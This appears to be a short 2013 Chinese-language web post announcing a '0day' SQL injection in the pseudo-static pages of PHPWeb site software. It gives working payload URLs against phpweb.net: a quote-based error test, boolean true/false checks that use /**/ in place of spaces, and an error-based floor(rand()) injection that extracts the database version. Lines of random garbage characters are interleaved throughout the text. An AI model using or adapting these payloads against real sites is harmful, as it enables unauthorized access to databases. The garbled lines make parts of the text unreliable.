phpweb伪静态页面注入0day

admin

phpweb所有的整站程序伪静态页面都存在sql注入

6 @) u) j' u6 B2 n主站：http://phpweb.net/
  @1 t- s" _* p. O8 ?加’检测：
1 M/ z) v5 q: o, V3 p, f* E
http://www.phpweb.net/down/html/?772′.html
: X( V0 `& {' ]
出错
存在注入。
8 b4 r; K% c; w- t5 f不能用空格，只能用/*罗
" _" }/ y1 ?* \4 n+ Fhttp://www.phpweb.net/page/html/?56′/**/and/**/1=1/*.html 正常
: t- [- u! z9 }  Y3 |& z/ N
http://www.phpweb.net/page/html/?56′/**/and/**/1=2/*.html 出错.
8 w) X7 j% d: S5 A7 ~爆数据库版本：

& L) n* s- b  E2 n& i2 S?
) p. |4 B0 @4 R* a9 @7 P) _# ]2 Z1
) ]! ]4 N2 B7 V' @5 Ihttp://www.phpweb.net/page/html/?56'/**/and/**/(SELECT/**/1/**/from/**/(select/**/count(*),concat(floor(rand(0)*2),(substring((select(version())),1,62)))a/**/from/**/information_schema.tables/**/group/**/by/**/a)b)=1/*.html
更新日期: 2013-01-03 13:39:50